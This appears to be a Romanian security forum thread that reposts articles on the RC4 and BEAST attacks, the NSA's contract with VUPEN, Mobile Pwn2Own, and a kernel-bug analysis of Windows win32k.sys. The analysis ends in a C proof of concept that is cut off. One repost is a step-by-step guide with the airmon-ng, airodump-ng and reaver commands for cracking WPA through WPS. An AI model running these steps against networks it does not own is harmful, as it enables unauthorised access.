Nytro

Ok, dar cum se face asta: "Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel" ?

Attack Exploits Weakness in RC4 Cipher to Decrypt User Sessions [h=1]Attack Exploits Weakness in RC4 Cipher to Decrypt User Sessions[/h] by Dennis Fisher It’s been more than 25 years since Ron Rivest invented his RC4 stream cipher, and after all that time it’s still being used widely, which is something of an achievement in the crypto world. However, for more than 15 years researchers have known about a weakness in RC4 that could enable an attacker to decrypt the keystream. Now, a cryptographer has published an attack that exploits that vulnerability and causes serious problems with TLS implementations. Daniel J. Bernstein, a professor at the University of Illinois at Chicago, presented his research on secret-key cryptosystems this week and the major revelation was a practical attack against a known weakness in RC4 that enables an attacker to compromise a victim’s session with a site protected by TLS. The fact that the first 256 bytes of an RC4 key contained biases has been known for more than 15 years, but the work that Bernstein and his fellow researchers did shows that an attack against TLS/RC4 is feasible. RC4 is a stream cipher, so it encrypts plaintext by mixing it with a series of random bytes, making it impossible for anyone to decrypt it without having the same key used to encrypt it. But, the bytes used to encrypt the plaintext aren’t really as random as they should be, at least at the beginning of the process. That makes it possible for an attacker to figure out the plaintext of an encrypted message with access to enough TLS requests. The problem is that there are biases in the keystream, making life easier for an attacker. “We’ve known about this for more than ten years. But as far as we knew, there was no way to attack this in RC4 in the way it’s used in SSL. A lot of crypto people are mystified about why we thought that,” said Thomas Ptacek, principal at Matasano Security. “It’s really kind of blatant. It turns out that the way that this is crappy in TLS is really easy to exploit.” However, Ptacek said, just because it can be exploited doesn’t mean that it’s the best way to go after a target’s encrypted session. In fact, there are many better ways to accomplish the same goal, and much more quickly. The attack that Bernstein and his colleagues described requires hundreds of millions of identical browser requests and could take a while to execute. “It’s a technique that is relatively easy to write code for, unlike some other cryptanalysis attacks, but it’s slow and expensive to use in the real world,” Ptacek said. “There’s no way you would not notice this attack. The actual attack is really painful to launch. The likelihood of this being exploited in the wild is low. If you’re looking for a way to break a user’s encrypted session quickly, this is not it. You’d go after application layer vulnerabilities long before you’d do this. You’d have a lot more luck with phishing or spoofing SSL or counting on people to ignore certificate warnings.” Although RC4 is ancient in cryptography terms, it’s still used widely, and in fact in the wake of the BEAST and CRIME attacks of the last couple of years securty experts recommended that sites switch to RC4 from other ciphers as a way to defend against the weaknesses those attacks exploit. That may still be the better choice in many cases, but the results from Bernstein and his colleagues show that RC4 is even less safe than previously thought. “It’s hard to overstate how bad this behavior is from a stream cipher,” Ptacek said. Sursa: Attack Exploits Weakness in RC4 Cipher to Decrypt User Sessions | Threatpost STIREA E VECHE. Am postat-o pentru ca e ceva bine de stiut.

Not So Fast on BEAST Attack Mitigations by Michael Mimoso The BEAST cryptographic attack, once thought to be largely mitigated, has two things conspiring against it to make breaches potentially possible again. Not only has a server-side mitigation essentially been rendered moot by recent research into the RC4 cryptographic protocol, but Apple has yet to enable by default a client-side mitigation into its Safari browser that would keep BEAST at bay, according to research done by Qualys director of application research Ivan Ristic. BEAST is an attack tool that targets a vulnerability in TLS 1.0 and SSL 3.0 and was reported in September 2011 by researchers Juliano Rizzo and Thai Duong. They built the BEAST tool, which is capable of grabbing and decrypting HTTPS cookies and hijacking browsing sessions in order to steal credentials and more. Major browser makers, except for Apple, addressed the issue on the client side by implementing a technique known as 1/1-n split. The technique stops attackers from being able to predict the initialization vector blocks that are used to mask plaintext data before it is encrypted. An attacker with a man-in-the-middle presence in a browser session can predict the initialization vector blocks, see what the encrypted data output looks like and influence what is encrypted, Ristic said. No data can be decrypted, Ristic said, but an educated attacker with enough guesses is likely to land on the correct one. “Because guessing is not very efficient, the BEAST attack can in practice used to retrieve only small data fragments,” Ristic wrote. “That might not sound very useful, but we do have many highly valuable fragments all over: HTTP session cookies, authentication credentials (many protocols, not just HTTP), URL-based session tokens, and so on. Therefore, BEAST is a serious problem.” Ristic told Threatpost that browser vendors were quick to deploy the 1/1-n split except for Apple, which encoded the mitigation into its Mountain Lion release more than a year ago, but disabled it by default. “There is no statement [from Apple] on its intentions or published information on how to enable mitigation if people wanted to,” Ristic said, adding that only experience security-aware people would likely think about enabling this type of defense. On the server side, the best way to mitigate BEAST had been to enforce RC4 encryption whenever TLS 1.0 is used. However, experts Dan Bernstein, Kenny Paterson, Nadhem AlFardan, Bertram Poettering and Jacob Schuldt published an attack that exploits a weakness in RC4 that could allow an attacker to decrypt the key stream—an issue that’s been known about in the community for 15 years. “Now that RC4 is weak, we have to begin to take measures to disable it. So therefore, we can no longer mitigate BEAST on the server side,” Ristic said. “As long as Safari remains theoretically vulnerable, we are afraid that any change in browser capabilities may lead to a condition that would enable an exploit to the BEAST attack.” BEAST attacks are ideal in targeted attacks against specific individuals and attackers would need to carry out a man-in-the-middle attack to exploit the issue; BEAST cannot be done on any kind of scale, Ristic said. Also, the source code for BEAST was never released by Rizzo and Duong. Ristic also cautions that deploying TLS 1.1 or TLS 1.2 would not address BEAST, regardless of the fact they don’t know carry the same initialization vector weakness as TLS 1.0. Most of the Internet remains on TLS 1.0 and while future browsers will support TLS 1.2, Ristic said they will still be vulnerable to protocol downgrade attacks. “An active MITM can simulate failure conditions and force all browsers to back off from attempting to negotiate TLS 1.2, making them fall back all the way down to SSL 3,” Ristic said. “At that point, the predictable [initialization vector] design is again a problem. Until the protocol downgrade weakness is fixed, newer protocols are going to be useful only against passive attackers, but not against the active ones.” Sursa: BEAST Cryptographic Attack Mitigations Overturned | Threatpost

Bine, nu am stiut ce titlu sa pun. Mai jos aveti documentul facut public de NSA in care puteti observa contractul cu VUPEN (pentru cei care nu stiu, VUPEN e probabil cea mai smechera firma din domeniul securitatii IT - in special exploit development). Au cumparat: - VUPEN binary analysis and exploits service - 12 months subscription Download: https://muckrock.s3.amazonaws.com/foia_files/9-11-13_MR6593_RES.pdf Mai multe: https://www.muckrock.com/foi/united-states-of-america-10/vupen-contracts-with-nsa-6593/ Heather Akers-Healy on Sept. 1, 2013: To Whom It May Concern: This is a request under the Freedom of Information Act. I hereby request the following records: Copies of contracts with VUPEN Security and any final reports generated and delivered by VUPEN to the agency over the past 10 years. If retrieving the contracts themselves is too burdensome please provide a list of contracts. Please include any processing notes made in completing this request. I also request that, if appropriate, fees be waived as I believe this request is in the public interest. The requested documents will be made available to the general public free of charge as part of the public information service at MuckRock.com, processed by a representative of the news media/press and is made in the process of news gathering and not for commercial usage. In the event that fees cannot be waived, I would be grateful if you would inform me of the total charges in advance of fulfilling my request. I would prefer the request filled electronically, by e-mail attachment if available or CD-ROM if not. Thank you in advance for your anticipated cooperation in this matter. I look forward to receiving your response to this request within 20 business days, as the statute requires. Sincerely, Heather Akers-Healy Mai multe: http://threatpost.com/nsa-bought-exploit-service-from-vupen-contract-shows/102314

PWN2OWN for mobile devices - $300,000 in prizes for stealing data, eavesdropping or making covert calls by Paul Ducklin on September 16, 2013 Imagine that you have a jailbreak for iOS 7 up your sleeve. All you have to do is wait a while, until iOS 7 ships, and announce your jailbreak then. You'll soon be enjoying the adulation of the whole jailbreaking scene, a writeup on Naked Security, and the prospect of a job/lawsuit (or both!) with/against Apple. Or you could try for $50,000 from HP instead. That's just part of the prize money that's up for grabs at the second Pwn2Own competition of the year, Mobile Pwn2Own, announced last week by HP's Zero Day Initiative. We covered what you might call the regular-sized Pwn2Own earlier this year, from the announcement of its $500,000 in prize money to the day by day results. The outcome was a series of victories for the hackers, with HP ultimately paying out $480,000. (The official rules limited the payout for a particular target to the first to pwn it, but HP ended up agreeing to pay all four of the entrants who "popped" Java, at $20k, ahem, a pop.) The mobile competition The Mobile Pwn2Own won't be pitting vendor against vendor, so it isn't a question of Android versus Windows Phone, or Safari versus Chrome, or Blackberry versus Nokia, aka Microsoft. Instead, the prize money is divided up by attack vector, based on how you break in: • Via physical proximity (prize: $50k) You can use a wireless or a wired attack, using one (or, presumably, more) of Bluetooth, Wi-Fi, USB or NFC. A successful attack "must require little or no user interaction," so a dialog such as the one iOS 7 will soon be popping up to inhibit rogue USB connections would be a satisfactory mitigation: Earlier in the year, of course, researchers at showed at BlackHat how a booby-trapped iPhone charger could silently hijack your USB connection given the absence of such a pop-up warning. • Mobile web browser (prize: $40k) Some user interaction will no doubt be allowed here - someone has to decide to browse somewhere to get started, after all - but you won't be allowed to assume the user will agree to or click on anything else. There is no requirement in the rules for persistence, where the exploit remains active after the browser exits. In any attack category, all you need to is one of the following: exfiltrate (i.e. steal and send to the outside world) information you aren't supposed to get; silently make a long distance phone call; or eavesdrop a conversation. ? The rules don't say if "eavesropping a conversation" applies to cellular calls only, or even only to voice. If you are planning on eavesdropping to win a prize, you probably want to check in advance whether logging an instant messaging chat would count, or whether HP wants to see you listening in to phone calls made over the cellular voice network. • Mobile Application/Operating System (prize: $40k) Since each device will be in its default setup and configuration, with all available patches applied, you won't be able to rely on third party apps that might or might not have been installed by the user, no matter how prevalent they might be. • Messaging Services (prize: $70k) You can attack by means of any of these: Short Message Service (SMS), Multimedia Messaging Service (MMS), or Commercial Mobile Alert System (CMAS). The rules don't say, but with "limited user interaction" permitted, it's probably reasonable to assume that an attack can rely on users actually reading a booby-trapped message, but not on them following any instructions given in it. • Baseband (prize: $100k) Loosely put, the baseband is the part of a device that makes it a phone, or at least capable of connecting to a cellular network, so this vector of attack doesn't apply to Wi-Fi only devices. The value of this prize presumably reflects the comparative difficulty of coming up with a method to break in via the mobile network itself, rather than via USB cable or over the internet. Choose your weapon One you've picked your attack vector, you can choose to mount the attack using any one of an eclectic list of devices: Nokia Lumia 1020 running Windows Phone Microsoft Surface RT running Windows RT Samsung Galaxy S4 running Android Apple iPhone 5 running iOS Apple iPad Mini running iOS Google Nexus 4 running Android Google Nexus 7 running Android Google Nexus 10 running Android BlackBerry Z10 running BlackBerry 10 Entrants in each category go in to bat in randomly chosen order, designate the device on which they wish to mount their attack, and then have 30 minutes to pwn the chosen device via their chosen method. The first to succeed in each category wins that category's prize - and since there are five categories but nine devices, at least four devices will remain unowned. What we may never know, if there's a device (or an operating system) that no-one chooses for any attack, is whether it was avoided due to a lack of interest, or due to its recognised strength. Pwn2Own, like many security tests, is good at telling you if a product has a security weakness, but doesn't say much about each product's strengths. Oh, by the way, to enter, you need to be registered as a delegate at PacSec 2013 Conference in Tokyo, Japan, which takes place from 11-13 November 2013. Sursa: PWN2OWN for mobile devices – $300,000 in prizes for stealing data, eavesdropping or making covert calls | Naked Security

How to Crack a Wi-Fi Network's WPA Password with Reaver You already know that if you want to lock down your Wi-Fi network, you should opt for WPA encryption because WEP is easy to crack. But did you know… Read… Your Wi-Fi network is your conveniently wireless gateway to the internet, and since you're not keen on sharing your connection with any old hooligan who happens to be walking past your home, you secure your network with a password, right? Knowing, as you might, how easy it is to crack a WEP password, you probably secure your network using the more bulletproof WPA security protocol. Here's the bad news: A new, free, open-source tool called Reaver exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks. In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below. After that, I'll explain how Reaver works, and what you can do to protect your network against Reaver attacks. First, a quick note: As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. The more you know, the better you can protect yourself. What You'll Need You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide: The BackTrack 5 Live DVD. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD from BackTrack's download page and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R1 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO. A computer with Wi-Fi and a DVD drive. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro. A nearby WPA-secured Wi-Fi network. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible. A little patience. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The Reaver home page suggests it can take anywhere from 4-10 hours. Your mileage may vary. Let's Get Crackin' At this point you should have BackTrack burned to a DVD, and you should have your laptop handy. Step 1: Boot into BackTrack To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter. Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type startx and press Enter. BackTrack will boot into its graphical interface. Step 2: Install Reaver Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to. Click Applications > Internet > Wicd Network Manager Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time. Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type: apt-get update And then, after the update completes: apt-get install reaver If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.) Step 3: Gather Your Device Information, Prep Your Crackin' In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that. Find your wireless card: Inside Terminal, type: iwconfig Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named wlan0, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different. Put your wireless card into monitor mode: Assuming your wireless card's interface name is wlan0, execute the following command to put your wireless card into monitor mode: airmon-ng start wlan0 This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be mon0, like in the screenshot below. Make note of that. Find the BSSID of the router you want to crack: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command: airodump-ng wlan0 (Note: If airodump-ng wlan0 doesn't work for you, you may want to try the monitor interface instead—e.g., airodump-ng mon0.) You'll see a list of the wireless networks in range—it'll look something like the screenshot below: When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our previous guide to cracking WEP passwords.) Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver. Step 4: Crack a Network's WPA Password with Reaver Now execute the following command in the Terminal, replacing bssid and moninterface with the BSSID and monitor interface and you copied down above: reaver -i moninterface -b bssid -vv For example, if your monitor interface was mon0 like mine, and your BSSID was 8D:AE:9D:65:1F:B2 (a BSSID I just made up), your command would look like: reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this: A few important factors to consider: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through. Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything). How Reaver Works Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password. Read more details about the vulnerability at Sean Gallagher's excellent post on Ars Technica. How to Protect Yourself Against Reaver Attacks Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher points out as Ars, even with WPS manually turned off through his router's settings, Reaver was still able to crack his password. In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable. So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps. You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer. Double bummer. So what will work? I have the open-source router firmware DD-WRT installed on my router and I was unable to use Reaver to crack its password. As it turns out, DD-WRT does not support WPS, so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their supported devices list to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like monitor your internet usage, set up a network hard drive, act as a whole-house ad blocker, boost the range of your Wi-Fi network, and more. It essentially turns your $60 router into a $600 router. Sursa: How to Crack a Wi-Fi Network's WPA Password with Reaver

[h=2]Windows win32k.sys menus and some "close, but no cigar" bugs[/h] Welcome after one of the more lengthy breaks in the blog’s activity. Today, I would like to discuss none other than several interesting weaknesses around the implementation of menus (like, window menus) in the core component of the Microsoft Windows kernel – the infamous win32k.sys driver, also known as the “Java of Windows” in terms of overall security posture. Now, menus have been a part of the Windows graphical interface since the very beginning of the operating system existence. The implementation became part of the Windows kernel at the time of porting a majority of the Windows manager (User) subsystem to a ring-0 component during Windows NT 4.0 development. The functionality consists of user-facing (i.e. the NtUserThunkedMenuInfo and NtUserThunkedMenuItemInfo system calls) and rendering portions of code; I have found several bugs or problems in both areas. First of all, let’s start with the win32k!xxxSetLPITEMInfo function, which can be generally reached through the two following call chains in Windows 7 x86: NtUserThunkedMenuItemInfo ? xxxInsertMenuItem ? xxxSetLPITEMInfo or NtUserThunkedMenuItemInfo ? xxxSetMenuItemInfo ? xxxSetLPITEMInfo The routine itself is responsible for setting up an ITEM structure, which describes a single menu item and is defined as follows for the previously stated platform: 2: kd> dt win32k!tagITEM +0x000 fType : Uint4B +0x004 fState : Uint4B +0x008 wID : Uint4B +0x00c spSubMenu : Ptr32 tagMENU +0x010 hbmpChecked : Ptr32 Void +0x014 hbmpUnchecked : Ptr32 Void +0x018 lpstr : Ptr32 Uint2B +0x01c cch : Uint4B +0x020 dwItemData : Uint4B +0x024 xItem : Uint4B +0x028 yItem : Uint4B +0x02c cxItem : Uint4B +0x030 cyItem : Uint4B +0x034 dxTab : Uint4B +0x038 ulX : Uint4B +0x03c ulWidth : Uint4B +0x040 hbmp : Ptr32 HBITMAP__ +0x044 cxBmp : Int4B +0x048 cyBmp : Int4B +0x04c umim : tagUAHMENUITEMMETRICS Among other characteristics, the structure stores a pointer to the string displayed on top of the menu item. The string associated with a new menu item being initialized is passed through a user-mode UNICODE_STRING structure pointer, the contents of which are then copied to kernel-mode memory using the following code (reverse-engineered pseudo code follows): if (input_string->Buffer) { menu_string = DesktopAlloc(menu->head.rpdesk, input_string->Length + sizeof(WCHAR), 8); if (!menu_string) { return 0; } memcpy(menu_string, input_string->Buffer, input_string->Length); string_length = input_string->Length / sizeof(WCHAR); } As can be seen, the function allocates a buffer of size “Length + 2? but only initializes the first “Length” bytes. While nul termination is guaranteed by DesktopAlloc (which indeed zeroes out the allocation region before passing it back to the caller), the code still relies on the assumption that “Length” is an even value. Note that none of its top-level callers nor xxxSetLPITEMInfo explicitly enforces this assumption, enabling an attacker to specify a unicode string consisting of an odd number of bytes and have it processed by the code, potentially leading to the following layout of kernel-mode menu string allocation: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code][[0x41][0x41]] [[0x41][0x41]] ... [[0x41][0x00]] [[0x00][???]] [[???][???]] ... [/TD] [/TR] [/TABLE] Note that the last two allocation bytes are still zero, but they span across two wide characters, while the second byte of the (supposedly) last character is not defined and doesn’t necessarily have to be 0×00. Therefore, we could provoke the allocation of a non-nul-terminated unicode string for the menu item, and although there is a “cch” field in the ITEM structure which specifies the actual length of the string, it is not taken into consideration while rendering the textual string. As a result, it is possible to get win32k.sys to disclose junk bytes from the Desktop Heap onto the display and into user-mode, as shown below: Junk desktop heap bytes rendered by win32k.sys This condition is one of the most typical errors found in the Windows kernel and related to unicode strings – it has been already discussed in my “A story of win32k!cCapString, or unicode strings gone bad” blog post, and was the root cause of at least one Denial of Service vulnerability in the implementation of Windows registry (CVE-2010-0235, advisory here). Causing the kernel to draw unicode artifacts over menu items is quite amusing itself, but it turns out that the contents of the Desktop Heap are not kept secret from user-mode applications; in fact, the heap is even mapped into the ring-3 virtual address space of GUI processes. The observation can prove useful in certain scenarios (e.g. while trying to map controlled bytes into a privileged process running within the same desktop, as shown in “CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability”), but here makes the bug a non-issue (as officially confirmed by MSRC). However, the problem was quite close to becoming very helpful in the exploitation of another potential vulnerability. [h=2]Signedness issue in win32k!xxxDrawMenuItemText[/h] On the rendering side of things, the xxxDrawMenuItemText routine plays a very important role. Its overall declaration is rather complicated and not relevant to the discussed problem, but the one important point is that the 7th parameter stores the length of the string (in characters) to be displayed as a signed integer, and is used to determine whether a stack buffer or a dynamic pool allocation should be used to store the input string (using, of course, a signed comparison). The phenomenon is better illustrated in the following C-like pseudo code listing: The signedness of the integer is indeed confirmed by the assembly instruction used: .text:0020C8E6 cmp ebx, 0FFh.text:0020C8EC jl short loc_20C927.text:0020C8EE push 74727355h ; Tag.text:0020C8F3 lea ecx, ds:2[ebx*2].text:0020C8FA push ecx ; NumberOfBytes.text:0020C8FB push 21h ; PoolType.text:0020C8FD call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x) In case you were wondering, 64-bit versions of Windows are similarly affected: .text:FFFFF97FFF20C5FA cmp edi, 0FFh.text:FFFFF97FFF20C600 jl short loc_FFFFF97FFF20C637.text:FFFFF97FFF20C602 lea ecx, [rdi+1].text:FFFFF97FFF20C605 mov edx, 74727355h.text:FFFFF97FFF20C60A movsxd rcx, ecx.text:FFFFF97FFF20C60D add rcx, rcx.text:FFFFF97FFF20C610 call Win32AllocPool At first glance, this sounds like the perfect situation with great potential for a stack-based buffer overflow right inside of win32k.sys, provided we are able to set the 7th function parameter to a negative value. In theory, this should not be possible due to the fact that the length of any menu item text is limited by the 16-bit width of the UNICODE_STRING.Length field used to set up the menu item in the first place (in this case, the limit is 32767 characters, which is nowhere near 2147483648 required to overflow the positive integer range). However, it turns out that the “Length” parameter of the affected function is not taken from the limited ITEM.cch field, but rather calculated in the following manner: ? [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]min(FindCharPosition(lpItem->lpstr, L'\8'), FindCharPosition(lpItem->lpstr, L'\t')) [/TD] [/TR] [/TABLE] where the FindCharPosition is a trivial wcschr-like function searching for a specific character from the beginning of a string, completing upon finding the desired character or encountering a unicode nul. This obviously opens up room for some potential abuse – by making use of the previous bug allowing lack of nul termination, we could potentially try to grow the Desktop Heap to 4GB+ (two billion wide characters) and hope that none of the {0×0000, 0×0008, 0×0009} words would occur at even offsets starting from the beginning of menu item text allocation. It is not clear whether one could increase the size of the desktop heap to as much as several gigabytes (if at all, this would only be possible on 64-bit platforms) and additionally satisfy the “no special characters inside” requirement, but even if that was possible, it still turns out that the bug would not be exploitable. Due to the fact that the GetPrefixCount function called by xxxDrawMenuItemText also operates on signed integers and does it in a way that prevents any kind of memory corruption: DWORD GetPrefixCount(signed int length, PWCHAR buffer, ...) { if (length > 0) { // fill out "buffer" } *buffer = L'\0'; // return } To date, I believe that none of the functions called subsequently by xxxDrawMenuItemText can cause stack corruption and write beyond the local buffer; however, my feeling is that the impossibility of exploitation is purely accidental, and a very slight change of a parameter type in any of the involved functions may suddenly introduce a very severe vulnerability. In other words, this is something the security community should definitely keep an eye on across new versions of Windows. One last potential problem with the function is the calculation of a dynamic buffer size in the line: .text:0020C8F3 lea ecx, ds:2[ebx*2] For Length=0x7fffffff (and above), the allocation size overflows and becomes 0×0 on 32-bit platforms; however, it is physically impossible to allocate 4GB of kernel memory (required for a large enough string length) on x86 CPUs. On 64-bit platforms, the calculation is performed using 64-bit variables based on a sign-extended 32-bit length. As a result, the final ExAllocatePoolWithTag parameter becomes 0xffffffff00000000, which when casted back to an unsigned long long (or size_t, rather) is too large for the allocator to handle. Overall, my take is that Microsoft has been pretty lucky with the current shape of menu implementation – although there is a number of issues in the code, none of them are currently exploitable due to various architecture and system-specific limitations (likely not intentional or considered by the original win32k.sys developers). A subtle modification of the code path can potentially result in enabling practical exploitation of some or all of the problems; however, Microsoft has decided that the current lack of security impact renders the bugs not worth fixing. And that’s it for today. As a final word, it is worth mentioning that actual (exploitable) vulnerabilities were discovered in the menu implementation in the past, see Tavis Ormandy’s “Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks” advisory. Comments and feedback are welcome, especially if I happened to miss something in the analysis and any of the problems actually are exploitable. Take care! [h=2]Proof of Concept[/h] The source code of a Proof of Concept program demonstrating the first issue (odd unicode string length) for Microsoft Windows 7 SP1 64-bit is shown below: #include <cstdio>#include <cstdlib> #include <string> #include <windows.h> #include <uxtheme.h> #pragma comment(lib, "GDI32") #pragma comment(lib, "USER32") #pragma comment(lib, "UXTHEME") //--------------------------------------------------------------------------- #ifndef MFS_CACHEDBMP # define MFS_CACHEDBMP 0x20000000L #endif //--------------------------------------------------------------------------- typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; extern "C" { VOID WINAPI RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); } // extern "C" //--------------------------------------------------------------------------- #define __NR_NtUserThunkedMenuItemInfo 0x1098 #define SYSCALL_ARG(x) ((__int64)(x)) BYTE SyscallCode[] = "\x4C\x8B\xD1" // MOV R10, RCX "\xB8\x00\x00\x00\x00" // MOV EAX, "\x0F\x05" // SYSENTER "\xC3"; // RET PBYTE SyscallCodePtr = SyscallCode; ULONG (*SystemCall)(__int64 Argument1, __int64 Argument2, __int64 Argument3, __int64 Argument4, __int64 Argument5, __int64 Argument6, __int64 Argument7, __int64 Argument8); ULONG CallService(DWORD ServiceId, __int64 Argument1, __int64 Argument2, __int64 Argument3, __int64 Argument4, __int64 Argument5, __int64 Argument6, __int64 Argument7, __int64 Argument8) { memcpy(&SyscallCode[4], &ServiceId, sizeof(DWORD)); return SystemCall(Argument1, Argument2, Argument3, Argument4, Argument5, Argument6, Argument7, Argument8); } //--------------------------------------------------------------------------- LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); //--------------------------------------------------------------------------- DWORD WINAPI CreateHostWindow(LPVOID lpParameter) { CONST CHAR class_name[] = "TEST_CLASS_NAME"; CONST CHAR wnd_title[] = "TEST_WND_TITLE"; HINSTANCE instance = GetModuleHandle(NULL); WNDCLASSEX wndclsex; MSG msg; wndclsex.cbSize = sizeof(WNDCLASSEX); wndclsex.style = CS_HREDRAW | CS_VREDRAW; wndclsex.lpfnWndProc = WndProc; wndclsex.cbClsExtra = 0; wndclsex.cbWndExtra = 0; wndclsex.hInstance = instance; wndclsex.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndclsex.hCursor = LoadCursor(NULL, IDC_ARROW); wndclsex.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); wndclsex.lpszMenuName = NULL; wndclsex.lpszClassName = class_name; wndclsex.hIconSm = LoadIcon(NULL, IDI_APPLICATION); RegisterClassEx(&wndclsex); // Possibly disable themes for current session if (IsThemeActive()) { EnableTheming(FALSE); } // An equivalent of in the form of a system call, which enables // us to pass a raw UNICODE_STRING structure follows: // // AppendMenu(menu, MF_STRING, kMenuId, "menu test"); // HMENU menu = CreateMenu(); MENUITEMINFOW info = { sizeof MENUITEMINFOW, // UINT cbSize MIIM_STRING, // UINT fMask MFT_STRING, // UINT fType MFS_ENABLED, // UINT fState 0, // UINT wID NULL, // HMENU hSubMenu NULL, // HBITMAP hbmpChecked NULL, // HBITMAP hbmpUnchecked 0, // ULONG_PTR dwItemData NULL, // LPTSTR dwTypeData (ignored) 0, // UINT cch (ignored) NULL }; // HBITMAP hbmpItem UNICODE_STRING item; RtlInitUnicodeString(&item, L"menu test"); item.Length = 0xf - 0x2; CallService(__NR_NtUserThunkedMenuItemInfo, SYSCALL_ARG(menu), // HMENU hMenu SYSCALL_ARG(1), // UINT nPosition SYSCALL_ARG(TRUE), // BOOL fByPosition SYSCALL_ARG(TRUE), // BOOL fInsert SYSCALL_ARG(&info), // LPMENUITEMINFOW lpmii 